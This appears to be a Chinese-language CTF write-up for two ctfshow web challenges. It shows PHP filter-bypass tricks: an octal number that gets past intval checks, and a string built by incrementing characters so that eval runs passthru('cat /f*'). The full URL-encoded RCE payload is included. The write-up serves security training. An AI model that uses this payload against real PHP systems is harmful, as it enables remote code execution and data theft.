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shellme

进去就是phpinfo，Ctrl+f搜一下就行

热身热身

简单的代码审计

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

一共三个过滤，第一个过滤可通过转换进制绕过，第二个过滤了字母，因而只能用前缀没有字母的进制，第三个过滤了第一位是

0的情况，通过字符补位绕过

因而payload为

?num=%20010574

?num=+010574

shellme_Revenge
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进去是一个phpinfo的页面，但是

禁用了许多函数，在cookie里看到提示传参?looklook

得到代码

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?>

跑脚本



<?php
for($a = 20; $a < 127; $a++){
    if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/", chr($a))){
        echo chr($a)." ";
    }
}
?>

得到未过滤的字符为

$ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { }

参考RCE提高篇 | 似雍&&非庸 (ab-alex.github.io)

了解到自增方法还能用，利用字母C的加减能构造A-Z，因而可以构造出GET

CTFshow吃瓜杯的两道web_D.MIND 的博客-CSDN博客

$_=C;  //C
$_++;  //D
$C=++$_;  //E
$_++;   //F
$C_=++$_;  //G
$_=(C/C.C){0};  //获取N，字符相除得到的是NAN，{0}取第一个字符就是N，这题不嫌麻烦，不用这个取巧的方法直接自增下去也行
$_++;  //O
$_++;  //P
$_++;  //Q
$_++;  //R
$_++;  //S
$_=_.$C_.$C.++$_;  //构造出_GET
($$_[1])($$_[2]); //$_GET[1] $_GET[2]

对payload进行URL编码

最后payload

GET:
?looklook=1&1=passthru&2=cat /f*

POST:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3
B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%20%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%5
B1%5D)(%24%24_%5B2%5D)%3B%20
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参考这师傅还能连马

ctfshow 吃瓜杯 shellme_Revenge_高高同学-CSDN博客

GET改成POST应该就行

待续待续
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